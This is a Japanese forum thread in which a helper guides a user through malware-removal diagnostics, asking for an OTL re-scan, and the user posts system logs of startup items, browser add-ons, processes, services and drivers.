有効 HKLM:Run SwitchBoard Adobe Systems Incorporated C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe
有効 HKLM:Run TrayApplication Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\TrayApplication.exe
有効 HKLM:Run UpdateP2GoShortCut "D:\Program Files (x86)\CyberLink\Power2Go\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\Power2Go" UpdateWithCreateOnce "SOFTWARE\CyberLink\Power2Go\6.0"
有効 HKLM:Run UpdatePPShortCut "D:\Program Files (x86)\CyberLink\PowerProducer\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\PowerProducer" UpdateWithCreateOnce "Software\CyberLink\PowerProducer\5.0"
有効 HKLM:Run UpdReg Creative Technology Ltd. C:\Windows\UpdReg.EXE
有効 HKLM:Run vksts Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\vksts.exe
有効 HKLM:Run XFast LAN cFos Software GmbH D:\Program Files\ASRock\XFast LAN\cFosSpeed.exe
有効 HKLM:Run XFastUSB FNet Co., Ltd. "C:\Program Files (x86)\XFastUSB\XFastUsb.exe"
有効 Startup Common スタートアップツール.lnk C:\Windows\Installer\{ABF2A330-637C-45FC-A1EF-AAA803FB6FE5}\_2482D56151239B506E3E28.exe
有効 Startup User MagicDisc.lnk MagicISO, Inc. D:\Program Files (x86)\MagicDisc\MagicDisc.exe

<IE>
有効 Extension 故障かな?と思ったら・・・ 東日本電信電話株式会社 C:\Program Files (x86)\NTTE\OSA_SupportTool\start_e.exe
有効 Helper ExplorerWnd Helper IObit C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallExplorer64.dll
無効 Helper Groove GFS Browser Helper Microsoft Corporation D:\PROGRA~1\MICROS~1\Office14\GROOVEEX.DLL
無効 Helper Microsoft アカウント サインイン ヘルパー Microsoft Corp. C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll
無効 Helper Office Document Cache Handler Microsoft Corporation D:\PROGRA~1\MICROS~1\Office14\URLREDIR.DLL
無効 Helper Office Document Cache Handler Microsoft Corporation C:\PROGRA~1\MICROS~3\Office14\URLREDIR.DLL
無効 Helper Windows Live ID Sign-in Helper Microsoft Corp. C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll

<FF>
無効 Extension Logitech SetPoint 6.5 Logitech Inc. default Firefox 36.0.4 C:\Program Files\Logicool\SetPointP\LogiSmoothFirefoxExt
有効 Plugin DivX Plus Web Player 3.2.4.1250 DivX, LLC default Firefox 36.0.4 C:\Program Files (x86)\DivX\DivX Web Player\npdivx32.dll
有効 Plugin DivX VOD Helper Plug-in 1.1.0.14 DivX, LLC. default Firefox 36.0.4 C:\Program Files (x86)\DivX\DivX OVS Helper\npovshelper.dll
有効 Plugin Google Update 1.3.26.9 Google Inc. default Firefox 36.0.4 C:\Program Files (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll
有効 Plugin iTunes Application Detector 1.0.1.1 Apple Inc. default Firefox 36.0.4 C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll
有効 Plugin Java Deployment Toolkit 7.0.250.17 10.25.2.17 Oracle Corporation default Firefox 36.0.4 C:\Windows\SysWOW64\npDeployJava1.dll
有効 Plugin Microsoft Office 2010 14.0.4730.1010 Microsoft Corporation default Firefox 36.0.4 D:\PROGRA~1\MICROS~1\Office14\NPAUTHZ.DLL
有効 Plugin Microsoft Office 2010 14.0.4761.1000 Microsoft Corporation default Firefox 36.0.4 D:\PROGRA~1\MICROS~1\Office14\NPSPWRAP.DLL
有効 Plugin NVIDIA 3D Vision 7.17.13.3311 NVIDIA Corporation default Firefox 36.0.4 C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll
有効 Plugin NVIDIA 3D VISION 7.17.13.3311 NVIDIA Corporation default Firefox 36.0.4 C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll
有効 Plugin QuickTime Plug-in 7.7.5 7.7.5.0 Apple Inc. default Firefox 36.0.4 D:\Program Files (x86)\QuickTime\Plugins\npqtplugin5.dll
無効 Plugin Shockwave Flash 17.0.0.134 Adobe Systems Incorporated default Firefox 36.0.4 C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_17_0_0_134.dll

<GC>
有効 App Gmail 8.1 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0
有効 App Google Search 0.0.0.30 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.30_0
有効 App Google ドライブ 6.4 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_1
有効 App YouTube 4.2.7 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_1
有効 Extension Google スプレッドシート 1.1 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0
有効 Extension Google スライド 0.9 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0
有効 Extension Google ドキュメント 0.9 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0
無効 Extension Logicool SetPoint 6.52.74 ユーザー 1 C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\edaibbiobngpbmeonadpbfafbkimjbdd\6.52.74_0

<スケジュールサレタタスク>
有効 Task Adobe Flash Player Updater Adobe Systems Incorporated C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe
有効 Task CCleanerSkipUAC Piriform Ltd "C:\Program Files\CCleaner\CCleaner.exe" $(Arg0)
有効 Task GoogleUpdateTaskMachineCore Google Inc. C:\Program Files (x86)\Google\Update\GoogleUpdate.exe /c
有効 Task GoogleUpdateTaskMachineUA Google Inc. C:\Program Files (x86)\Google\Update\GoogleUpdate.exe /ua /installsource scheduler
有効 Task SidebarExecute Microsoft Corporation C:\Program Files\Windows Sidebar\sidebar.exe /addGadget
有効 Task Uninstaller_SkipUac_Tomohiko IObit C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUninstaler.exe /UninstallExplorer
有効 Task {8BFB521B-29F0-44D0-ABF2-A6CE12212065} Microsoft Corporation C:\Windows\system32\pcalua.exe -a C:\PROGRA~2\COMMON~1\INSTAL~1\Driver\9\INTEL3~1\IDriver.exe -c /M{532F6E8A-AF97-41C3-915F-39F718EC07D1} /l1041

<コンテキストメニュー>
有効 Directory Browse in Adobe Bridge CS6 Adobe Systems, Inc. D:\Program Files\Adobe\Adobe Bridge CS6 (64 Bit)\Bridge.exe "%L"
有効 Directory IObitUnstaler IObit C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMenuRight64.dll
有効 Directory WinRAR D:\Program Files (x86)\WinRAR\rarext64.dll
有効 Directory WinRAR32 D:\Program Files (x86)\WinRAR\rarext.dll
有効 Drive CLVDShellExt Cyberlink C:\Program Files (x86)\Common Files\CyberLink\ShellExtComponent\CLVDShellExt.dll
有効 File CLVDShellExt Cyberlink C:\Program Files (x86)\Common Files\CyberLink\ShellExtComponent\CLVDShellExt.dll
有効 File IObitUnstaler IObit C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMenuRight64.dll
有効 File MBAMShlExt Malwarebytes Corporation D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamext.dll
有効 File WinRAR D:\Program Files (x86)\WinRAR\rarext64.dll
有効 File WinRAR32 D:\Program Files (x86)\WinRAR\rarext.dll
有効 Folder IObitUnstaler IObit C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMenuRight64.dll
有効 Folder MBAMShlExt Malwarebytes Corporation D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamext.dll
有効 Folder WinRAR D:\Program Files (x86)\WinRAR\rarext64.dll
有効 Folder WinRAR32 D:\Program Files (x86)\WinRAR\rarext.dll
  • mari
  • 2015/03/29 (Sun) 08:03:32
今度はOTLでも再スキャンを
早速の作業と報告、ご苦労様です。
再度のログも見せてもらいましたが、今のところは不審なものは見えませんね。
異常も治まっているならそれはいいでしょうが、成り行きからしてまだ「解決」にはできません。

お手数ですがOTLでの解析も再度してみましょう。
先の要領でまたOTLで「Run scan」だけしてから、そのログをまた見せてください
%windir%\tasks\*.job
DRIVES
BASESERVICES
%SYSTEMDRIVE%\*.exe
CREATERESTOREPOINT
  • 悪代官
  • 2015/03/29 (Sun) 08:20:52
Re: salusの駆除をお助けください
引き続き有難うございます!!
以下、OTLのログです。

OTL logfile created on: 2015/03/29 8:31:22 - Run 1
OTL by OldTimer - Version 3.2.69.0 Folder = C:\Users\Tomohiko\Downloads
64bit- Ultimate Edition Service Pack 1 (Version = 6.1.7601) - Type = NTWorkstation
Internet Explorer (Version = 9.11.9600.17633)
Locale: 00000411 | Country: 日本 | Language: JPN | Date Format: yyyy/MM/dd

5.95 Gb Total Physical Memory | 4.10 Gb Available Physical Memory | 68.90% Memory free
11.90 Gb Paging File | 8.47 Gb Available in Paging File | 71.20% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]

%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files (x86)
Drive C: | 113.20 Gb Total Space | 41.37 Gb Free Space | 36.54% Space Free | Partition Type: NTFS
Drive D: | 442.50 Gb Total Space | 370.52 Gb Free Space | 83.74% Space Free | Partition Type: NTFS
Drive E: | 465.76 Gb Total Space | 27.45 Gb Free Space | 5.89% Space Free | Partition Type: NTFS
Drive H: | 931.28 Gb Total Space | 0.80 Gb Free Space | 0.09% Space Free | Partition Type: FAT32

Computer Name: TOMOHIKO-PC | User Name: Tomohiko | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: Current user | Include 64bit Scans
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days

[color=#E56717]========== Processes (SafeList) ==========[/color]

PRC - [2015/03/29 08:30:46 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\Tomohiko\Downloads\OTL.exe
PRC - [2015/03/14 19:12:39 | 000,809,288 | ---- | M] (Google Inc.) -- C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
PRC - [2015/02/18 21:24:32 | 001,088,800 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMonitor.exe
PRC - [2014/07/03 02:02:36 | 000,113,152 | ---- | M] (Creative Technology Ltd) -- C:\Windows\SysWOW64\CtHdaSvc.exe
PRC - [2014/06/23 19:18:15 | 000,795,672 | ---- | M] (CyberLink Corp.) -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe
PRC - [2014/05/02 09:10:50 | 006,311,104 | ---- | M] (FNet Co., Ltd.) -- C:\Program Files (x86)\XFastUSB\XFastUsb.exe
PRC - [2014/04/30 01:40:40 | 000,413,128 | ---- | M] (NVIDIA Corporation) -- C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
PRC - [2014/01/10 14:26:44 | 001,861,968 | ---- | M] () -- C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe
PRC - [2013/12/13 16:39:30 | 001,179,232 | ---- | M] (東日本電信電話株式会社) -- C:\Program Files (x86)\NTTE\StartUpToolN\StartUpTool_e.exe
PRC - [2013/08/29 16:40:20 | 000,910,848 | ---- | M] (Creative Technology Ltd) -- D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe
PRC - [2013/04/04 14:50:32 | 000,701,512 | ---- | M] (Malwarebytes Corporation) -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamservice.exe
PRC - [2013/04/04 14:50:32 | 000,532,040 | ---- | M] (Malwarebytes Corporation) -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamgui.exe
PRC - [2013/04/04 14:50:32 | 000,418,376 | ---- | M] (Malwarebytes Corporation) -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamscheduler.exe
PRC - [2013/03/05 12:43:20 | 000,110,144 | ---- | M] (CyberLink) -- D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe
PRC - [2012/05/09 18:56:54 | 000,886,272 | ---- | M] (Creative Technology Ltd) -- D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe
PRC - [2012/05/09 18:52:14 | 002,014,208 | ---- | M] (Creative Technology Ltd) -- D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\CTJckCfg.exe
PRC - [2011/12/01 10:07:20 | 000,423,424 | ---- | M] (Creative Technology Ltd) -- C:\Program Files (x86)\Creative\Shared Files\CTAudSvc.exe
PRC - [2009/02/23 19:43:12 | 000,576,000 | ---- | M] (MagicISO, Inc.) -- D:\Program Files (x86)\MagicDisc\MagicDisc.exe


[color=#E56717]========== Modules (No Company Name) ==========[/color]

MOD - [2015/03/14 19:12:37 | 014,974,280 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\PepperFlash\pepflashplayer.dll
MOD - [2015/03/14 19:12:35 | 009,278,792 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\pdf.dll
MOD - [2015/03/14 19:12:30 | 001,174,856 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\libglesv2.dll
MOD - [2015/03/14 19:12:28 | 000,080,200 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\libegl.dll
MOD - [2015/02/13 04:20:34 | 001,044,776 | ---- | M] () -- C:\Program Files (x86)\Common Files\Apple\Apple Application Support\libxml2.dll
MOD - [2014/10/16 22:09:08 | 014,340,096 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\PresentationFramewo#\1f539baa94516139240877cb6afd72c2\PresentationFramework.ni.dll
MOD - [2014/10/16 22:09:01 | 012,435,968 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\1453d9e9a4989833ef3db4b22549ba1a\System.Windows.Forms.ni.dll
MOD - [2014/10/16 22:08:57 | 001,593,344 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\836e10dfd0811b303553216f5cb092ef\System.Drawing.ni.dll
MOD - [2014/10/16 22:08:55 | 005,467,648 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\d49908aa93a23c84847b1f8b1b667860\System.Xml.ni.dll
MOD - [2014/10/16 22:08:53 | 012,236,800 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\PresentationCore\3d4f835b8078dacc8d5da623e2c3f0ee\PresentationCore.ni.dll
MOD - [2014/10/16 22:08:47 | 003,348,480 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\WindowsBase\d97a5aa0eb7697aca7c6e90ae471af2b\WindowsBase.ni.dll
MOD - [2014/10/16 22:08:46 | 007,991,808 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System\908ba9e296e92b4e14bdc2437edac603\System.ni.dll
MOD - [2014/10/12 12:18:59 | 011,497,984 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
MOD - [2014/06/23 19:19:58 | 000,867,080 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\UNO\UNO.dll
MOD - [2014/01/20 13:17:04 | 000,073,544 | ---- | M] () -- C:\Program Files (x86)\Common Files\Apple\Apple Application Support\zlib1.dll
MOD - [2014/01/10 14:28:18 | 000,100,688 | ---- | M] () -- C:\Program Files (x86)\DivX\DivX Update\DivXUpdateCheck.dll
MOD - [2014/01/10 14:26:44 | 001,861,968 | ---- | M] () -- C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe
MOD - [2013/12/10 16:39:42 | 000,721,920 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_ssl.pyd
MOD - [2013/12/10 16:39:42 | 000,285,184 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_hashlib.pyd
MOD - [2013/12/10 16:39:42 | 000,074,240 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_ctypes.pyd
MOD - [2013/12/10 16:39:42 | 000,040,960 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_socket.pyd
MOD - [2013/09/05 00:14:10 | 004,300,456 | ---- | M] () -- C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Cultures\OFFICE.ODF
MOD - [2013/03/05 12:40:16 | 000,626,240 | ---- | M] () -- D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMediaLibrary.dll
MOD - [2013/03/05 11:41:36 | 000,015,424 | ---- | M] () -- D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvcPS.dll
MOD - [2012/02/14 16:16:08 | 000,598,016 | ---- | M] () -- D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\ja-JP\SBRcni.resources.dll
MOD - [2010/11/13 09:00:19 | 000,348,160 | ---- | M] () -- C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_ja_b77a5c561934e089\mscorlib.resources.dll


[color=#E56717]========== Services (SafeList) ==========[/color]

SRV:[b]64bit:[/b] - [2015/01/30 03:15:10 | 000,366,512 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Program Files\Microsoft Security Client\NisSrv.exe -- (NisSrv)
SRV:[b]64bit:[/b] - [2015/01/30 03:15:10 | 000,023,784 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Microsoft Security Client\MsMpEng.exe -- (MsMpSvc)
SRV:[b]64bit:[/b] - [2015/01/12 11:34:30 | 000,114,688 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\IEEtwCollector.exe -- (IEEtwCollectorService)
SRV:[b]64bit:[/b] - [2014/04/30 03:49:46 | 002,517,792 | ---- | M] () [Auto | Running] -- C:\Windows\SysNative\nvwmi64.exe -- (NVWMI)
SRV:[b]64bit:[/b] - [2013/05/27 14:50:47 | 001,011,712 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files\Windows Defender\MpSvc.dll -- (WinDefend)
SRV:[b]64bit:[/b] - [2013/02/09 03:30:42 | 000,359,664 | ---- | M] (Logitech, Inc.) [On_Demand | Stopped] -- C:\Program Files\Common Files\LogiShrd\Bluetooth\LBTServ.exe -- (LBTServ)
SRV:[b]64bit:[/b] - [2009/07/14 10:40:01 | 000,193,536 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\appmgmts.dll -- (AppMgmt)
SRV - [2015/03/28 21:07:53 | 000,268,464 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe -- (AdobeFlashPlayerUpdateSvc)
SRV - [2015/03/21 15:12:07 | 000,148,080 | ---- | M] (Mozilla Foundation) [On_Demand | Stopped] -- C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe -- (MozillaMaintenance)
SRV - [2015/02/18 21:24:32 | 002,635,552 | ---- | M] (IObit) [Auto | Stopped] -- C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe -- (LiveUpdateSvc)
SRV - [2014/07/03 02:02:36 | 000,113,152 | ---- | M] (Creative Technology Ltd) [Auto | Running] -- C:\Windows\SysWOW64\CtHdaSvc.exe -- (CtHdaSvc)
SRV - [2014/04/30 01:40:40 | 000,413,128 | ---- | M] (NVIDIA Corporation) [Auto | Running] -- C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe -- (Stereo Service)
SRV - [2014/04/11 23:08:08 | 000,103,608 | ---- | M] (Microsoft Corporation) [Auto | Stopped] -- C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -- (clr_optimization_v4.0.30319_32)
SRV - [2014/03/21 07:49:18 | 000,067,224 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe -- (clr_optimization_v2.0.50727_32)
SRV - [2013/12/19 00:41:02 | 030,814,400 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- D:\Program Files (x86)\Microsoft Office\Office14\GROOVE.EXE -- (Microsoft SharePoint Workspace Audit Service)
SRV - [2013/10/27 09:34:23 | 000,079,360 | ---- | M] (Creative Labs) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\CTAELicensing.exe -- (Creative Audio Engine Licensing Service)
SRV - [2013/10/27 09:34:14 | 000,079,360 | ---- | M] (Creative Labs) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\AL6Licensing.exe -- (Creative ALchemy AL6 Licensing Service)
SRV - [2013/05/31 16:23:36 | 000,652,640 | R--- | M] (cFos Software GmbH) [Auto | Running] -- D:\Program Files\ASRock\XFast LAN\spd.exe -- (cFosSpeedS)
SRV - [2013/04/04 14:50:32 | 000,701,512 | ---- | M] (Malwarebytes Corporation) [Auto | Running] -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamservice.exe -- (MBAMService)
SRV - [2013/04/04 14:50:32 | 000,418,376 | ---- | M] (Malwarebytes Corporation) [Auto | Running] -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamscheduler.exe -- (MBAMScheduler)
SRV - [2013/02/17 12:18:06 | 000,137,336 | ---- | M] (Futuremark Corporation) [On_Demand | Stopped] -- C:\Program Files (x86)\Futuremark\Futuremark SystemInfo\FMSISvc.exe -- (Futuremark SystemInfo Service)
SRV - [2013/01/07 00:40:00 | 004,713,360 | ---- | M] (INCA Internet Co., Ltd.) [On_Demand | Stopped] -- C:\Windows\SysWOW64\GameMon.des -- (npggsvc)
SRV - [2012/03/22 21:11:28 | 000,825,032 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtService.exe -- (CsrBtService)
SRV - [2012/03/22 21:11:16 | 001,041,616 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtOBEXService.exe -- (CsrBtOBEXService)
SRV - [2012/03/22 21:11:08 | 000,465,624 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtAudioService.exe -- (CSRBtAudioService)
SRV - [2012/03/22 21:11:00 | 000,064,216 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\BtSwitcherService.exe -- (BtSwitcherService)
SRV - [2011/12/01 10:07:20 | 000,423,424 | ---- | M] (Creative Technology Ltd) [Auto | Running] -- C:\Program Files (x86)\Creative\Shared Files\CTAudSvc.exe -- (CTAudSvcService)
SRV - [2010/02/19 13:37:14 | 000,517,096 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe -- (SwitchBoard)


[color=#E56717]========== Driver Services (SafeList) ==========[/color]

DRV:[b]64bit:[/b] - [2014/12/31 08:54:48 | 000,585,944 | ---- | M] (Realtek Semiconductor Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\RtkBtfilter.sys -- (RtkBtFilter)
DRV:[b]64bit:[/b] - [2014/11/15 14:46:08 | 000,124,560 | ---- | M] (Microsoft Corporation) [Kernel | Auto | Running] -- C:\Windows\SysNative\drivers\NisDrvWFP.sys -- (NisDrv)
DRV:[b]64bit:[/b] - [2014/07/28 14:52:00 | 000,054,784 | ---- | M] (Apple, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\usbaapl64.sys -- (USBAAPL64)
DRV:[b]64bit:[/b] - [2014/07/03 02:02:34 | 001,060,120 | ---- | M] (Creative Technology Ltd) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\cthda.sys -- (cthda)
DRV:[b]64bit:[/b] - [2014/05/02 09:17:59 | 000,032,320 | ---- | M] (FNet Co., Ltd.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\FNETTBOH_305.SYS -- (FNETTBOH_305)
DRV:[b]64bit:[/b] - [2014/05/02 09:10:50 | 000,016,648 | ---- | M] (FNet Co., Ltd.) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\FNETURPX.SYS -- (FNETURPX)
DRV:[b]64bit:[/b] - [2014/04/30 03:49:46 | 000,197,408 | ---- | M] (NVIDIA Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\nvhda64v.sys -- (NVHDA)
DRV:[b]64bit:[/b] - [2013/10/02 11:22:20 | 000,056,832 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\TsUsbFlt.sys -- (TsUsbFlt)
DRV:[b]64bit:[/b] - [2013/09/04 14:07:06 | 002,056,192 | ---- | M] (Creative Technology Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\ksaud.sys -- (ksaud)
DRV:[b]64bit:[/b] - [2013/07/25 16:53:46 | 000,023,040 | ---- | M] (Apple Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\netaapl64.sys -- (Netaapl)
DRV:[b]64bit:[/b] - [2013/05/31 16:23:40 | 001,814,880 | ---- | M] (cFos Software GmbH) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\cfosspeed6.sys -- (cFosSpeed)
DRV:[b]64bit:[/b] - [2013/04/04 14:50:32 | 000,025,928 | ---- | M] (Malwarebytes Corporation) [File_System | On_Demand | Running] -- C:\Windows\SysNative\drivers\mbam.sys -- (MBAMProtector)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,079,240 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LEqdUsb.sys -- (LEqdUsb)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,077,192 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LHidFilt.Sys -- (LHidFilt)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,061,832 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LMouFilt.Sys -- (LMouFilt)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,015,752 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LHidEqd.sys -- (LHidEqd)
DRV:[b]64bit:[/b] - [2012/09/10 03:22:06 | 000,243,712 | ---- | M] (Realtek Semiconductor Corp.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\RtsUStor.sys -- (RSUSBSTOR)
DRV:[b]64bit:[/b] - [2012/08/23 23:10:20 | 000,019,456 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\rdpvideominiport.sys -- (RdpVideoMiniport)
DRV:[b]64bit:[/b] - [2012/08/21 13:01:20 | 000,033,240 | ---- | M] (GEAR Software Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\GEARAspiWDM.sys -- (GEARAspiWDM)
DRV:[b]64bit:[/b] - [2012/08/09 17:03:06 | 000,034,640 | ---- | M] (ASRock Inc.) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\AsrRamDisk.sys -- (AsrRamDisk)
DRV:[b]64bit:[/b] - [2012/08/07 17:45:30 | 000,026,072 | ---- | M] (Intel Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\iaStorF.sys -- (iaStorF)
DRV:[b]64bit:[/b] - [2012/08/07 17:45:28 | 000,575,448 | ---- | M] (Intel Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\iaStorA.sys -- (iaStorA)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:36 | 000,023,752 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrusbfilter.sys -- (csrusbfilter)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:34 | 000,047,296 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrusb.sys -- (csrusb)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:32 | 000,061,128 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrserial.sys -- (csrserial)
